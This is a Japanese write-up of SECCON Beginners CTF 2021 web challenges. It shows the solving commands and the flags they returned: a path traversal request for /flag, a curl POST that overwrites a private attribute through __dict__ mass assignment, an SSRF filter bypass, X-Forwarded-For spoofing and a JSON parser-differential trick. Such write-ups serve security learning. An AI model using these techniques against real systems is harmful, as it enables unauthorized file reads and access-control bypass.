---
# System prepended metadata

title: SECCON Beginners CTF 2021 Writeup

---

# SECCON Beginners CTF 2021 Writeup

## 目次
- osoba
- Werewolf
- check_url
- json
- magic

## [Begginer] osoba (Web)

美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります！

丁寧にも問題で/flagにあると言ってくれてるので、ディレクトリトラバーサル。ソースを読むと、
```python=
@app.route("/", methods=["GET", "POST"])
def index():
    page = request.args.get('page', 'public/index.html')    
    response = make_response(send_file(page))
    response.content_type = "text/html"
    return response
```
と書いてあるので、?page=のゲットメソッドを受け取ることが分かる。![](https://i.imgur.com/bAweWCn.png)
というかリンクが貼ってある「詳細を見る」をホバーすれば下にでてくるし、index.htmlを直接見たほうが速い。
というわけで「"https://osoba.quals.beginners.seccon.jp/?page=../flag"」でアクセスすれば正解。

```shell=
$ curl https://osoba.quals.beginners.seccon.jp/?page=../flag
    ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
```
## [Easy] Werewolf (Web)

名前と色を入力すると人狼ゲームの役職をランダムに割り当てて表示する模様。![](https://i.imgur.com/NRNrLzK.png)
app.pyが渡されるので見てみる。(一部抜粋)
```python=

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return #render_template('index.html')

    if request.method == 'POST':
        player = Player()
        print(player.__dict__)
        for k, v in request.form.items():
            player.__dict__[k] = v
            
"""
        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )
"""
```
　ご丁寧にもコメントで示してくださっている。Playerクラスの__roleプロパティを書き換えれば良いが、@propertyで宣言されており、書き換えられない。(Setterがない)
　値が実際に割り当てられている処理(27-31行目)はPOSTで受け取ったアイテムの数だけforが回るようになっており、いかにも想定していない値を入れてくださいといった感じ。
　そして極めつけは代入に__dict__が使われていること。__dict__はクラスを無理やり辞書型に変換するため、値の書き換えが行えるようになってしまう。
 (参考:https://coolpythontips.blogspot.com/2015/12/dict.html)
```shell=
curl -X POST -d 'name=aabb&color=blue&role=WEREWOLF' https://werewolf.quals.beginners.seccon.jp
```
といきたいところだが、これは失敗する。どうやら辞書型に変換する時に添え字がそのまま"role"とかにはなってないらいい。適当に自分でクラス作ってprint()したら_Player__roleとかになってた。
```shell=
curl -X POST -d 'name=aabb&color=blue&_Player__role=WEREWOLF' https://werewolf.quals.beginners.seccon.jp
(途中略)
ctf4b{there_are_so_many_hackers_among_us}
```
## [Easy] check_url (Web)
GETメソッドのurl=で指定したところにphpを用いてcurlした結果を表示してくれる。
phpが示されていて、見てみるとSuper sanitizingとかいうコメントがついてる。
```php=
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              //
              $url = "a"."b";
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "_", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
```
　127.0.0.1からアクセスされるとFlagが落ちるらしいけど、localhostとかがURLに含まれると"do not hack me!"って言われる。
 もとがcurlを飛ばすサーバだからなんとかlocalhostにcurlをとばさせる。
 正規表現で英数字意外を👻にエスケープするとかいうとんでもないことをしてるので.とかを使わずURLを打てばいい。
　まぁここをみてうまいことやる。
https://qiita.com/naka_kyon/items/88478be20b300e757fc0
幸いこの記事読んだことがあったので全部試した。
　ぶっちゃけほとんどのサーバにアクセスできないと思うんですけどいいんですかね。
![](https://i.imgur.com/HeK3eLH.png)

## [Medium] json (Web)
　普通にアクセスすることうなる。![](https://i.imgur.com/B1F4gkC.png)
あきらかにipアドレスで識別してるっぽい。もらったコードとかnginxのconfみてるとnginxをプロキシサーバにしてその後ろでbffとかapiが動いてるっぽい。
```nginx=
server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

}
```
　proxcy_set_headerなるものはnginxのデフォルトで無かった気がするので調べてみる。
　https://www.serotoninpower.club/archives/790/#%E5%95%8F%E9%A1%8C1-nginx%E3%81%8B%E3%82%99xff%E3%82%92%E7%94%9F%E6%88%90%E3%81%99%E3%82%8B%E3%83%95%E3%83%AD%E3%83%B3%E3%83%88%E3%82%A8%E3%83%B3%E3%83%88%E3%82%99%E3%81%AE%E5%A0%B4%E5%90%88%E3%80%81xff%E3%81%AE%E6%94%B9%E3%81%95%E3%82%99%E3%82%93%E3%81%8B%E3%82%99%E5%8F%AF%E8%83%BD%E3%81%AB%E3%81%AA%E3%82%8B
 こんなんでてくる。XFFヘッダーの値が入力済みなら書き換えないという設定らしい。じゃあ今回はXFFヘッダーを192.168.111.0/24に設定してやればいい。面倒なのでchrome拡張使った。https://chrome.google.com/webstore/detail/x-forwarded-for-header/hkghghbnihliadkabmlcmcgmffllglin

あとはbffの後ろにapiがあってflagを出そうとするとbffがエラーを出すようになってる。見比べるとjsonのパース方法が違う。
```go=
id, err := jsonparser.GetInt(body, "id")
```
```go=
if err := json.Unmarshal(body, &info); err != nil {
```
 ぶっちゃけここ以外で大差はない。bffはapiに値を渡してるのでやや長いくらい。
いろいろ調べる前にどうせ大文字小文字区別しないとか最後の値が有効とか文字列と数値区別しないとかだろと思って試してたらいった。どれでいったかいまいち覚えてない。多分{1d:2, id:1}とかで言ったと思う。
